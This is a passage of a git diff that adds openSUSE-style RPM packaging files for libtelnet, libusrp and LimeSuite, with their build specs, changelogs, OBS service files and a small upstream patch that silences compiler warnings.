+%define sover 1
+Name: libtelnet
+Version: 0.0.0+git.20180308
+Release: 0
+Summary: Library for parsing the TELNET protocol
+License: MIT
+Group: Development/Libraries/C and C++
+URL: http://git.osmocom.org/libtelnet/
+Source: libtelnet-%{version}.tar.xz
+Source99: libtelnet-rpmlintrc
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libcrypto)
+BuildRequires: pkgconfig(openssl)
+
+%description
+libtelnet is a small library for parsing the TELNET protocol, responding
+to TELNET commands via an event interface, and generating valid TELNET
+commands.
+
+%package -n ipaccess-telnet
+Summary: Telnet client for ip-access nanoBTS devices
+Group: Productivity/Networking/Other
+
+%description -n ipaccess-telnet
+Modified telnet client that is required by nanoBTS device. There is some
+kind of shared-secret challenge-response MD5 authentication required -
+otherwise the BTS will simplydisconnect you after a few seconds.
+
+%package utils
+Summary: Small library for parsing the TELNET protocol - utilities
+Group: Productivity/Networking/Other
+
+%description utils
+libtelnet is a small library for parsing the TELNET protocol, responding
+to TELNET commands via an event interface, and generating valid TELNET
+commands.
+
+This subpackage contains utilities (telnet client, -server) that are
+based on libtelnet.
+
+%package -n libtelnet%{sover}
+Summary: Library for parsing the TELNET protocol
+Group: System/Libraries
+
+%description -n libtelnet%{sover}
+libtelnet is a small library for parsing the TELNET protocol, responding
+to TELNET commands via an event interface, and generating valid TELNET
+commands.
+
+%package -n libtelnet-devel
+Summary: Development files for the libtelnet library
+Group: Development/Libraries/C and C++
+Requires: libtelnet%{sover} = %{version}
+Requires: zlib-devel
+
+%description -n libtelnet-devel
+libtelnet is a small library for parsing the TELNET protocol, responding
+to TELNET commands via an event interface, and generating valid TELNET
+commands.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libtelnet.
+
+%prep
+%setup -q
+
+%build
+autoreconf -fi
+%configure --disable-static
+make V=1 %{?_smp_mflags}
+
+%install
+%make_install
+find %{buildroot} -type f -name "*.la" -delete -print
+
+%post -n libtelnet%{sover} -p /sbin/ldconfig
+%postun -n libtelnet%{sover} -p /sbin/ldconfig
+
+%files -n ipaccess-telnet
+%{_bindir}/ipaccess-telnet
+
+%files -n libtelnet-utils
+%license COPYING
+%doc README
+%{_bindir}/telnet-chatd
+%{_bindir}/telnet-client
+%{_bindir}/telnet-proxy
+%{_mandir}/man1/telnet-*.1%{?ext_man}
+
+%files -n libtelnet%{sover}
+%{_libdir}/libtelnet.so.%{sover}*
+
+%files -n libtelnet-devel
+%{_includedir}/libtelnet.h
+%{_libdir}/libtelnet.so
+%{_libdir}/pkgconfig/libtelnet.pc
+%{_mandir}/man3/libtelnet.3%{?ext_man}
+%{_mandir}/man3/telnet_*.3%{?ext_man}
+
+%changelog
+
diff --git a/rpm-local/spec/libusrp/_service b/rpm-local/spec/libusrp/_service
new file mode 100644
index 0000000..4efa9d8
--- /dev/null
+++ b/rpm-local/spec/libusrp/_service
@@ -0,0 +1,17 @@
+<services>
+ <service mode="disabled" name="tar_scm">
+ <param name="url">https://git.osmocom.org/libusrp</param>
+ <param name="package-meta">yes</param>
+ <param name="revision">master</param>
+ <param name="scm">git</param>
+ <param name="changesgenerate">enable</param>
+ <param name="filename">libusrp</param>
+ <param name="versionformat">@PARENT_TAG@+git.%cd</param>
+ </service>
+ <service mode="disabled" name="recompress">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service mode="disabled" name="set_version"/>
+</services>
+
diff --git a/rpm-local/spec/libusrp/_servicedata b/rpm-local/spec/libusrp/_servicedata
new file mode 100644
index 0000000..bf8c285
--- /dev/null
+++ b/rpm-local/spec/libusrp/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">https://git.osmocom.org/libusrp</param>
+ <param name="changesrevision">ae66dcc21b3a3505c4fc96e26bf3659b63c68e64</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/libusrp/libusrp.changes b/rpm-local/spec/libusrp/libusrp.changes
new file mode 100644
index 0000000..2b4c297
--- /dev/null
+++ b/rpm-local/spec/libusrp/libusrp.changes
@@ -0,0 +1,47 @@
+-------------------------------------------------------------------
+Fri Aug 09 07:35:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 3.4.2+git.20190808:
+ * Avoid compiler warning 'dynamic exception specifications are
+ deprecated in C++11 [-Wdeprecated]'.
+ * usrp2: firmware: ignore .lk build artifacts
+ * edit-gpif: Fix build for distros with python3 as default
+ * build_eeprom.py: Fix build for distros with python3 as default
+- Disable parallel build
+
+-------------------------------------------------------------------
+Sat Feb 2 09:34:43 UTC 2019 - Jan Engelhardt <jengelh@inai.de>
+
+- Fix SRPM group.
+
+-------------------------------------------------------------------
+Sun Jan 13 23:54:49 UTC 2019 - mardnh@gmx.de
+
+- Update to version 3.4.2+git.20190113:
+ * Re-enable build of usrp FX2 firmware
+ * firmware: Port to more modern SDCC syntax.
+ * firmware: Fix include directory path names
+
+-------------------------------------------------------------------
+Fri Jun 15 20:06:10 UTC 2018 - mardnh@gmx.de
+
+- Update to version 3.4.2+git.20180429:
+ * build: use correct python version in generate_regs.py
+ * Add debian directory
+ * Makefile.par.gen: Fix .deps directory not present during build
+ * build: Fix make distcheck
+ * usrp.pc.in: Drop unset LIBUSB_PKG_CONFIG_NAME
+
+-------------------------------------------------------------------
+Wed Apr 25 19:47:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 3.4.2+git.20180424:
+ * build: Link libusrp_la also to boost_system
+ * Makefile.common: Fix typo preventing build
+ * gitignore: Remove and ignore libtool related m4 files
+ * usrp.pc.in: Fix version in output pc file
+
+-------------------------------------------------------------------
+Mon Jan 22 20:11:13 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 3.4.2+git.20180121
diff --git a/rpm-local/spec/libusrp/libusrp.spec b/rpm-local/spec/libusrp/libusrp.spec
new file mode 100644
index 0000000..2ba813a
--- /dev/null
+++ b/rpm-local/spec/libusrp/libusrp.spec
@@ -0,0 +1,128 @@
+#
+# spec file for package libusrp
+#
+# Copyright (c) 2019 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%define sover -3_4_4+git_20190808-0
+%define libname libusrp%{sover}
+Name: libusrp
+Version: 3.4.4+git.20190808
+Release: 0
+Summary: Stand-alone libusrp for USRP1 from old gnuradio.git
+License: GPL-3.0-or-later
+Group: Development/Libraries/C and C++
+URL: https://git.osmocom.org/libusrp
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: fdupes
+BuildRequires: gcc-c++
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: sdcc
+%if 0%{?suse_version} < 1320
+BuildRequires: python
+%else
+BuildRequires: python2
+%endif
+BuildRequires: pkgconfig(libusb-1.0)
+%if 0%{?suse_version} > 1325
+BuildRequires: libboost_date_time-devel
+BuildRequires: libboost_filesystem-devel
+BuildRequires: libboost_program_options-devel
+BuildRequires: libboost_system-devel
+BuildRequires: libboost_thread-devel
+%else
+BuildRequires: boost-devel
+%endif
+
+%description
+Stand-alone libusrp for USRP1 from old gnuradio.git.
+
+%package -n %{libname}
+Summary: Stand-alone libusrp for USRP1 from old gnuradio.git
+Group: System/Libraries
+
+%description -n %{libname}
+Stand-alone libusrp for USRP1 from old gnuradio.git.
+
+%package devel
+Summary: Development files for libusrp
+Group: Development/Libraries/C and C++
+Requires: %{libname} = %{version}
+
+%description devel
+Stand-alone libusrp for USRP1 from old gnuradio.git.
+
+This subpackage contains libraries and header files for developing
+applications that want to make use of libusrp.
+
+%package -n usrp-tools
+Summary: Tools for the URSP1 SDR
+Group: Hardware/Other
+
+%description -n usrp-tools
+Tools for the URSP1 SDR.
+
+%package -n usrp-firmware
+Summary: Firmware files for the URSP1 SDR
+Group: Hardware/Other
+Requires: usrp-tools = %{version}
+BuildArch: noarch
+
+%description -n usrp-firmware
+Firmware files for the USRP1 SDR.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure
+# parallel build is br0ken
+# -> https://osmocom.org/issues/3970#change-15556
+make V=1 # %{?_smp_mflags}
+
+%install
+%make_install
+rm -f %{buildroot}%{_libdir}/libusrp.la
+# FIXME: gnuradio swig stuff shouldn't be there
+rm -rf %{buildroot}%{_includedir}/gnuradio/
+%fdupes %{buildroot}%{_datadir}/usrp
+
+%post -n %{libname} -p /sbin/ldconfig
+%postun -n %{libname} -p /sbin/ldconfig
+
+%files -n usrp-tools
+%{_bindir}/usrp_cal_dc_offset
+%{_bindir}/usrper
+
+%files -n %{libname}
+%{_libdir}/libusrp*.so.*
+
+%files -n usrp-firmware
+%dir %{_datadir}/usrp
+%{_datadir}/usrp/rev2
+%{_datadir}/usrp/rev4
+
+%files devel
+%{_includedir}/usrp
+%{_libdir}/libusrp.so
+%{_libdir}/pkgconfig/usrp.pc
+
+%changelog
diff --git a/rpm-local/spec/limesuite/0001-Remove-some-warnings-LimeRFE-related.patch b/rpm-local/spec/limesuite/0001-Remove-some-warnings-LimeRFE-related.patch
new file mode 100644
index 0000000..a0d9db7
--- /dev/null
+++ b/rpm-local/spec/limesuite/0001-Remove-some-warnings-LimeRFE-related.patch
@@ -0,0 +1,126 @@
+From c931854ead81307206bce750c17c2301810b5545 Mon Sep 17 00:00:00 2001
+From: Ignas J <i.jarusevicius@limemicro.com>
+Date: Wed, 29 Jan 2020 10:55:12 +0200
+Subject: [PATCH] Remove some warnings (LimeRFE related)
+
+---
+ src/examples/limeRFE_I2C_example.cpp | 1 -
+ src/limeRFE/RFE_Device.cpp | 2 +-
+ src/limeRFE/limeRFE_api.cpp | 7 ++++---
+ src/limeRFE/limeRFE_cmd.cpp | 3 ---
+ src/limeRFE/limeRFE_wxgui.cpp | 6 +++---
+ 5 files changed, 8 insertions(+), 11 deletions(-)
+
+diff --git a/src/examples/limeRFE_I2C_example.cpp b/src/examples/limeRFE_I2C_example.cpp
+index 5e6093ec..b7f35fd1 100644
+--- a/src/examples/limeRFE_I2C_example.cpp
++++ b/src/examples/limeRFE_I2C_example.cpp
+@@ -25,7 +25,6 @@ int main(int argc, char** argv)
+ {
+ //Find devices
+ int n;
+- int fd = -1;
+ lms_info_str_t list[8]; //should be large enough to hold all detected devices
+ if ((n = LMS_GetDeviceList(list)) < 0) //NULL can be passed to only get number of devices
+ error();
+diff --git a/src/limeRFE/RFE_Device.cpp b/src/limeRFE/RFE_Device.cpp
+index 6bdaf815..8d2d7df7 100644
+--- a/src/limeRFE/RFE_Device.cpp
++++ b/src/limeRFE/RFE_Device.cpp
+@@ -139,7 +139,7 @@ int RFE_Device::SetFrequency(bool dirTx, int ch, float freq)
+ else if (!dirTx && autoRx)
+ boardState.channelIDRX = RxPortCheck(boardState.selPortRX,FreqToBand(freq));
+
+- return Cmd_ConfigureState(sdrDevice, com, boardState);
++ return Cmd_ConfigureState(sdrDevice, com, boardState);
+ }
+
+ void RFE_Device::AutoFreq(rfe_boardState& state)
+diff --git a/src/limeRFE/limeRFE_api.cpp b/src/limeRFE/limeRFE_api.cpp
+index 3d360af5..524ad145 100644
+--- a/src/limeRFE/limeRFE_api.cpp
++++ b/src/limeRFE/limeRFE_api.cpp
+@@ -14,10 +14,10 @@ extern "C" API_EXPORT rfe_dev_t* CALL_CONV RFE_Open(const char* serialport, lms_
+ if (dev == nullptr && serialport == nullptr)
+ return nullptr;
+
+- int result;
++ int result;
+
+- RFE_COM com;
+- com.fd = -1;
++ RFE_COM com;
++ com.fd = -1;
+ #ifndef __unix__
+ com.hComm = 0;
+ #endif
+@@ -177,6 +177,7 @@ API_EXPORT int CALL_CONV RFE_AssignSDRChannels(rfe_dev_t* rfe, int rx, int tx)
+ return -1;
+ auto* dev = static_cast<RFE_Device*>(rfe);
+ dev->SetChannels(rx, tx);
++ return 0;
+ }
+
+ extern "C" API_EXPORT int RFE_Fan(rfe_dev_t* rfe, int enable) {
+diff --git a/src/limeRFE/limeRFE_cmd.cpp b/src/limeRFE/limeRFE_cmd.cpp
+index 805b5383..7deb47d7 100644
+--- a/src/limeRFE/limeRFE_cmd.cpp
++++ b/src/limeRFE/limeRFE_cmd.cpp
+@@ -28,7 +28,6 @@ int my_write(RFE_COM com, char* buffer, int count) {
+
+ int serialport_write(RFE_COM com, const char* str, int len)
+ {
+- int n;
+ char* cstr = (char*)str;
+ return my_write(com, cstr, len);
+ }
+@@ -672,7 +671,6 @@ int i2c_write_buffer(lms_device_t* lms, unsigned char* c, int size) {
+ unsigned char addressI2C = RFE_I2C_ADDRESS;
+ unsigned char addressByte = addressI2C << 1;
+ unsigned char addressByteW = addressByte & ~1;
+- unsigned char addressByteR = addressByte | 1;
+
+ if(i2c_start(lms) != 0) // send start sequence
+ return -1;
+@@ -690,7 +688,6 @@ int i2c_write_buffer(lms_device_t* lms, unsigned char* c, int size) {
+ int i2c_read_buffer(lms_device_t* lms, unsigned char* c, int size) {
+ unsigned char addressI2C = RFE_I2C_ADDRESS;
+ unsigned char addressByte = addressI2C << 1;
+- unsigned char addressByteW = addressByte & ~1;
+ unsigned char addressByteR = addressByte | 1;
+
+ i2c_start(lms); // send a restart sequence
+diff --git a/src/limeRFE/limeRFE_wxgui.cpp b/src/limeRFE/limeRFE_wxgui.cpp
+index 22019a43..3a5d1626 100644
+--- a/src/limeRFE/limeRFE_wxgui.cpp
++++ b/src/limeRFE/limeRFE_wxgui.cpp
+@@ -215,7 +215,7 @@ void limeRFE_wxgui::OnbtnOpen(wxCommandEvent& event){
+
+ rfe_boardState state;
+ guiState stateGUI;
+- int status =ReadConfig(dlg.GetPath().To8BitData(), &state, &stateGUI);
++ ReadConfig(dlg.GetPath().To8BitData(), &state, &stateGUI);
+
+ powerCellCalCorr = stateGUI.powerCellCorr;
+ powerCalCorr = stateGUI.powerCorr;
+@@ -521,7 +521,7 @@ void limeRFE_wxgui::SetChannelsTypesTXRX(int channelTXRX) {
+ if (i == RFE_TYPE_INDEX_CELL) cTypeTXRX->AppendString("Cellular");
+ }
+
+- if (cTypeTXRX->GetCount() < (*lastTypeSelectionTXRX + 1))
++ if (cTypeTXRX->GetCount() < unsigned(*lastTypeSelectionTXRX + 1))
+ *lastTypeSelectionTXRX = 0;
+
+ cTypeTXRX->SetSelection(*lastTypeSelectionTXRX);
+@@ -623,7 +623,7 @@ void limeRFE_wxgui::SetConfigurationOptions() {
+ cPortTX->AppendString(RFE_PORT_1_NAME);
+ portTXvals[0] = RFE_PORT_1;
+ }
+- else if ((selChannelIDTX == RFE_CID_HAM_0030) ||
++ else if ((selChannelIDTX == RFE_CID_HAM_0030) ||
+ (selChannelIDTX == RFE_CID_HAM_0070)) {
+ cPortTX->AppendString(RFE_PORT_3_NAME);
+ portTXvals[0] = RFE_PORT_3;
+--
+2.25.0
+
diff --git a/rpm-local/spec/limesuite/limesuite.changes b/rpm-local/spec/limesuite/limesuite.changes
new file mode 100644
index 0000000..c7d8c2d
--- /dev/null
+++ b/rpm-local/spec/limesuite/limesuite.changes
@@ -0,0 +1,362 @@
+-------------------------------------------------------------------
+Wed Jan 29 09:42:29 UTC 2020 - Martin Hauke <mardnh@gmx.de>
+
+
+- Update to version 20.01.0
+ LimeSuite library changes:
+ * Including LimeRFE support
+ * Update CGEN calculation to allow lower CGEN values
+ * Configure RF switches (when possible) to avoid transmission
+ during calibration
+ * Automatically reconfigure GFIR LPF after sample rate change
+ * Remove LMS_EnableCalibCache function from LimeSuite.h
+ * Improve PLL locking in calibration procedures
+ * Fix Tx transfer size being set to Rx transfer size
+ * Fix RF path being auto-set after it was selected explicitly
+ for LimeSDR-Mini
+ * Add option to perform Rx phase alignment instead of of always
+ running it
+ * Improve SXT/SXR tune by automatically retrying with higher
+ bias current setting
+ * Update FIFO buffers to use memory more efficiently
+ SoapyLMS:
+ * Add oversampling setting
+ * Set bandwidth to sample rate if bandwidth is not explicitly set
+ * Fix possible segfault when 2 Rx cahnnels are used
+ * Pause streaming when changing sample rate
+ * Return time error when negative timestmp is used
+ * Automatically use wide enough bandwidth setting for RF
+ frequencies bellow 30 MHz
+ * Remove master clock setting
+ * Add setting descriptions
+ * Implement read for setting advertised by getSettingInfo()
+ LimeSuiteGUI:
+ * Add panel for LMS API function testing
+ * Add option to play WFM file from software
+ * fix channel measurement in FFTviewer for Ch.B in MIMO mode
+ Octave plugin:
+ * Add LimeGetStreamStatus function
+ * Add LimeTransceiveSamples function
+ * Update antenna selection after loading ini file
+ Other changes:
+ * Fix LimeQuickTest not outputing to windows command line
+- Add patch:
+ * 0001-Remove-some-warnings-LimeRFE-related.patch
+
+-------------------------------------------------------------------
+Mon May 13 19:23:20 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Update to version 19.04.0
+ LimeSuite library changes:
+ * Added support for LimeNet-Micro v2.1
+ * Fixed Tx ch.B calibration when Rx ch.B is disabled
+ * Added save and restore of analog DC/IQ calibration values when
+ saving/loading INI file
+ * Fixed Rx only mode not working on LimeSDR-USB with sample
+ rate <2.5 MSps
+ * Fixed Rx only mode not working on LimeSDR-USB with sample
+ rate <2.5 MSps
+ * change coefficents in LMS7002M::GetTemperature() to approximately
+ match actual temperature
+ LimeSuiteGUI:
+ - Updated "Board controls" panel for LimeNet-Micro
+ Other changes
+ - Added LimeNET-Micro support to LimeQuickTest
+ - LimeSDR-USB v1.4 updated to r2.21 gateware
+ - LimeSDR-Mini updated to r1.30 gateware
+
+-------------------------------------------------------------------
+Thu Mar 7 21:55:00 UTC 2019 - Martin Hauke <mardnh@gmx.de>
+
+- Upate to version 19.01.0
+ LimeSuite library changes:
+ * Allow filtering devices by partial serial number
+ * Add GPIO control for LimeSDR-Mini
+ * Change LMS_VCTCXOWrite() to save value to non-volatile storage
+ * Change LMS_VCTCXORead() to read value from non-volatile storage
+ * Make some improvements in GFIR setup
+ * Fix Tx not working when Rx is disabled on LimeSDR-Mini
+ * Add initial support for LimeNET-Micro
+ * Add auto RF path selection option (LMS_PATH_AUTO) for
+ LMS_SetAntenna()
+ * Remove LMS_Disconnect() and LMS_IsOpen() functions from API
+ * Add support for sending smaller Tx packets (improve end of
+ burst handling)
+ * Change Rx RF path set by LMS_Init() for LimeSDR-USB to LNA_L
+ * Disable Tx channel in LMS_Init()
+ LimeSuiteGUI:
+ * Add GPIO controls to "Board controls" panel for LimeSDR-Mini
+ * Add option to "Board controls" panel to write VCTCXO value to
+ non-volatile storage
+ SoapyLMS:
+ * Update to soapysdr0.7 module ABI
+ * add manual DC/IQ calibrations
+ Other changes:
+ * LimeUtil: fix LimeSDR-Mini not exiting programming mode after
+ flashing FPGA
+ * LimeQuickTest: test 1st board when multiple boards are detected
+ (instead of exiting)
+ * Add Octave plugin to CMake build
+ * Add log handler to Octave plugin
+ * Add IQ/DC calibration to basicTX example
+ * LimeSDR-USB v1.4 updated to r2.20 gateware
+ * LimeSDR-Mini updated to r1.29 gateware
+
+-------------------------------------------------------------------
+Sat Nov 10 17:40:25 UTC 2018 - mardnh@gmx.de
+
+- Update soapy-module version 0.6 -> 0.7
+
+-------------------------------------------------------------------
+Fri Oct 5 16:28:11 UTC 2018 - mardnh@gmx.de
+
+- Upate to version 18.10.0
+ LimeSuite library changes:
+ * Fix CalibrateTxGain() XBUF settings for 3rd party boards
+ * Add interpolation/decimation support for SISODDR mode
+ * Always use SISODDR mode for LimeSDR-Mini
+ * Fix Rx filter calibration for 2nd channel with low bandwidth
+ values
+ * Fix index lookup for opt_gain_tbb cache (ChB out of bounds)
+ * Add SXT/SXR VCO cache
+ * Add FPGA register cache
+ * Add connection remote (disabled by default)
+ * Fix incorrect TBB gain control behaviour under certain
+ conditions
+ * Disable GFIR coefficient ordering based on oversampling when
+ coefficient count is to high
+ * Remove late timestamp reset commands from Rx streaming loop
+
+ LimeSuiteGUI:
+ * Update board controls panel
+ * Add LPF coefficient calculation controls for GFIRs to TxTSP
+ and RxTSP tabs
+
+ Other changes:
+ * LimeSDR-USB v1.4 updated to r2.18 gateware
+ * LimeSDR-Mini updated to r1.27 gateware
+ * Add Tx only LMS API example
+ * SoapyLMS: remove stream activity checks
+
+-------------------------------------------------------------------
+Wed Jun 13 14:47:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 18.06.0
+ LimeSuite library changes:
+ * Fixed zero filled packet transmitted on Tx FIFO timeout
+ * Fixed LMS_GetFrequency() to return correct frequency in TDD mode
+ * Added HBD/HBI bypass mode for LimeSDR-USB
+ * Made automatic Tx gain calibrations less frequent
+ * Fixed some issues with GFIR usage
+ * Some fixes for LimeSDR-QPCIe
+
+ SoapyLMS changes:
+ * Fixed writeSetting to not throw every time
+ * Added 'skipCal' stream argument to disable calibration
+ * Added 'CALIBRATE' setting for writeSetting()
+
+ Other changes:
+ * Added LimeSDR-USB support to LimeQuickTest
+ * Added sample format and Tx sync selection to FFTviewer
+ * Fix LimeSuiteConfig for debian packages
+ * LimeSDR-USB v1.4 updated to r2.17 gateware
+ * LimeSDR-Mini v1.1 updated to r1.25 gateware
+
+-------------------------------------------------------------------
+Thu Apr 19 14:49:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 18.04.1
+ * Add multiple device support for LimeSDR-Mini
+ * Add QuickTest Utility for LimeSDR-Mini
+ * Remove calibration cache database
+ * LimeSuiteGUI: Remove duplicate information from 'Device Info' panel
+- Remove patch:
+ * limesuite-fix-cmake-path.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Mon Apr 9 14:02:26 UTC 2018 - mpluskal@suse.com
+
+- Cleanup with spec-cleaner
+
+-------------------------------------------------------------------
+Fri Apr 6 12:43:21 UTC 2018 - mardnh@gmx.de
+
+- Update to version 18.04.0
+ * Fixed Tx filter calibration
+ * Fixed FPGA PLL configuration when B channel is disabled
+ * Fixed non-working controls in LimeSuiteGUI 'TRX Gain' tab
+ * Changed CGEN VCO tune algorithm
+ * LimeSDR-USB v1.4 updated to r2.16 gateware
+- Add patch:
+ * limesuite-fix-cmake-path.patch
+
+- Update to version 18.03.0
+ SoapyLMS changes:
+ * Do not tune NCO when LO is within tuning range
+ * Filter BW reported to match filtersCalibration
+ * Function implementations changed to use same code as LMS API
+
+ LimeSuiteGUI changes:
+ * Added log levels
+ * Added additional controls to SPI panel
+ * Reduced number of programming modes in Programming panel
+
+ LimeSuite library changes:
+ * Added LimeSDR-Mini programming
+ * Changed default settings for LimeSDR-Mini
+ * Updated calibrations
+ * Add phase alignment for dual channel configuration
+ * Updated FPGA PLL configuration
+ * Fix B channel only streaming
+ * Fixed LMS7002M::GetPathRFE for LNAH case
+ * Fixed CGEN not tuning to 484-487 MHz
+
+ LMS API changes:
+ * LMS_Open() can no longer succeed without connecting to hardware
+ * LMS_Disconnect() and LMS_IsOpen() are now deprecated because of above change
+ * Changed firmware/gateware programming functions
+ * Changed lms_dev_info_t structure
+ * LMS_SetLOFrequency() now attempts to set different frequencies for A/B channels using NCO
+ * Fix Rx NCO direction flip (downconvert flag used to set Rx NCO to upconvert)
+ * Disabling LPF is now same as setting it to maximum bandwidth
+ * Extented gain range for LMS_SetGaindB()
+
+ Other changes:
+ * Reduce SIMD flags when packaging for x86
+ * LimeSDR-USB v1.4 updated to r2.15 gateware
+ * LimeSDR-Mini v1.1 updated to r1.24 gateware
+- Add limesuite-fix-cmake-path.patch
+
+-------------------------------------------------------------------
+Tue Dec 19 21:55:12 UTC 2017 - mardnh@gmx.de
+
+- Update to version 17.12.0
+ SoapyLMS changes:
+ * Force MIMO alignment
+ * Add TBB frontend gain configuration
+ * Fix/adjust gain ranges
+ LMS API changes:
+ * Increased USB timeouts
+ * Updated FTDI library (LimeSDR-Mini on Windows)
+ * RF switch control for LimeSDR-Mini
+ * Updated setup/destruction of streams
+ * various bug fixes
+ LimeSuiteGUI changes:
+ * Update LimeSDR-Mini panel
+
+-------------------------------------------------------------------
+Sun Nov 5 14:03:34 UTC 2017 - jengelh@inai.de
+
+- Update descriptions.
+
+-------------------------------------------------------------------
+Sat Oct 21 11:35:14 UTC 2017 - mardnh@gmx.de
+
+- Use SSE-SIMD-FLAGS only on x86_64 machines
+
+-------------------------------------------------------------------
+Thu Oct 19 18:16:31 UTC 2017 - mardnh@gmx.de
+
+- Update to version 17.10.0
+ SoapyLMS changes:
+ * Initial support for LimeSDR-Mini
+ * Disable calibration cache by default
+ LMS API changes:
+ * Initial support for LimeSDR-Mini
+ LimeSuiteGUI changes:
+ * Added scrollbars
+ * Fix multiple crashes that occured when board is not connected
+ * Bring window to front when trying to open already opened window
+ * Some cosmetic GUI changes
+ * Added default config button to GUI
+ Other changes:
+ * LimeSDR v1.4 updated to r2.11 gateware
+
+- Build with -DENABLE_SIMD_FLAGS="SSE4.2" to avoid the new default
+ optimization settings "-mmarch=native" otherwise it the binaries
+ are expected to crash on machines different from the build hosts.
+
+-------------------------------------------------------------------
+Sun Oct 1 15:14:09 UTC 2017 - mardnh@gmx.de
+
+- Update to version 17.09.1
+ SoapyLMS changes:
+ - SoapyLMS7 caches stream enable and disables on close
+ - Fixed late packet reporting in SoapyLMS7 stream status
+
+ LMS API changes:
+ - Added simple GPIO example utilizing functions from LimeSuite.h
+ - Fixed WriteStream() end of burst flushing in fifo.h
+ - Fixed abs() overload compiler issue in lms7_device.cpp
+ - Removed private include in mcu_program/host_src/main.cpp
+ - Fixed error checking bug causing compilation error on MacOS in
+ LMS_GetGaindB() and LMS_GetNormalizedGain()
+
+ Other changes:
+ - LimeSDR v1.4 updated to r2.10 gateware
+
+
+- Update to version 17.09.0
+ LimeSuite library changes:
+ - Added transfer size adjustment based on sample rate
+ - Improved MCU calibration procedures
+ - Initial support for LimeSDR-QPCIe
+ - Changed format to 16 bit for data transfer when float (non-native) format
+ is selected in API
+
+ LMS API changes:
+ - Added external reference clock(LMS_CLOCK_EXTREF) configuration to
+ LMS_SetClockFreq()
+ - Change LMS_SetGaindB() and LMS_SetNormalizedGain() to select optimal
+ TBB gain for TX
+ - Fixed LMS_GetStreamStatus() not returning some status values
+
+ LimeSuiteGUI changes:
+ - Unified read/write params in board controls panel
+ - Fixed some GUI fields not updating correctly/reporting wrong values
+
+ Other changes:
+ - LimeSDR v1.4 updated to r2.9 gateware
+ - Added LMS API doxygen generation to CMake
+ - Added CMake option to enable compiler SIMD flags
+
+-------------------------------------------------------------------
+Wed Jun 21 13:13:54 UTC 2017 - mardnh@gmx.de
+
+- Update to version 17.06.0
+ API additions:
+ - LMS_GPIODirRead
+ - LMS_GPIODirWrite
+ - LMS_CalibrateInternalADC
+ - LMS_CalibrateAnalogRSSIDC
+ - LMS_CalibrateRP_BIAS
+ - LMS_CalibrateTxGain
+ - LMS_SetClockFreqWithSpurCancelation
+
+ General changes:
+ - SoapyLMS7 - added getMasterClockRates()
+ - SoapyLMS7 - added getSampleRateRange()
+ - LimeSDR v1.4 updated to r2.8 gateware
+ - GPIO support in SoapyLM7 module
+ - Library level logging support
+ - Speed up x640,x641 spi
+ - FFTviewer: add checkbox for RX->TX loopback control
+ - Merged major MCU based calibrations update
+
+-------------------------------------------------------------------
+Fri May 5 18:15:05 UTC 2017 - mardnh@gmx.de
+
+- Update soapy-module version 0.5-2 -> 0.6
+
+-------------------------------------------------------------------
+Wed May 3 19:24:14 UTC 2017 - mardnh@gmx.de
+
+- Update to version 17.02.2
+ - Fixed register typo in LMS7002M::SetTxDCOffset()
+ - Added option defaults for stream args in SoapyLMS7
+ - Fixed LMS7002M::GetPathRFE() currently selected path
+
+-------------------------------------------------------------------
+Wed Apr 19 18:52:04 UTC 2017 - mardnh@gmx.de
+
+- initial package, version 17.02.1
diff --git a/rpm-local/spec/limesuite/limesuite.spec b/rpm-local/spec/limesuite/limesuite.spec
new file mode 100644
index 0000000..62646f7
--- /dev/null
+++ b/rpm-local/spec/limesuite/limesuite.spec
@@ -0,0 +1,142 @@
+#
+# spec file for package limesuite
+#
+# Copyright (c) 2020 SUSE LINUX GmbH, Nuernberg, Germany.
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via https://bugs.opensuse.org/
+#
+
+
+%define sover 20_01-1
+%define libname libLimeSuite%{sover}
+%define soapy_modver 0.7
+Name: limesuite
+Version: 20.01.0
+Release: 0
+Summary: Collection of software supporting LMS7-based hardware
+License: Apache-2.0
+Group: Productivity/Hamradio/Other
+URL: https://myriadrf.org/projects/lime-suite/
+#Git-Clone: https://github.com/myriadrf/LimeSuite.git
+Source: https://github.com/myriadrf/LimeSuite/archive/v%{version}.tar.gz#/%{name}-%{version}.tar.xz
+Patch0: 0001-Remove-some-warnings-LimeRFE-related.patch
+BuildRequires: cmake
+BuildRequires: gcc-c++
+BuildRequires: gnuplot
+BuildRequires: i2c-tools
+BuildRequires: pkgconfig
+BuildRequires: wxWidgets-3_0-nostl-devel
+BuildRequires: pkgconfig(SoapySDR) >= %{soapy_modver}
+BuildRequires: pkgconfig(libusb-1.0)
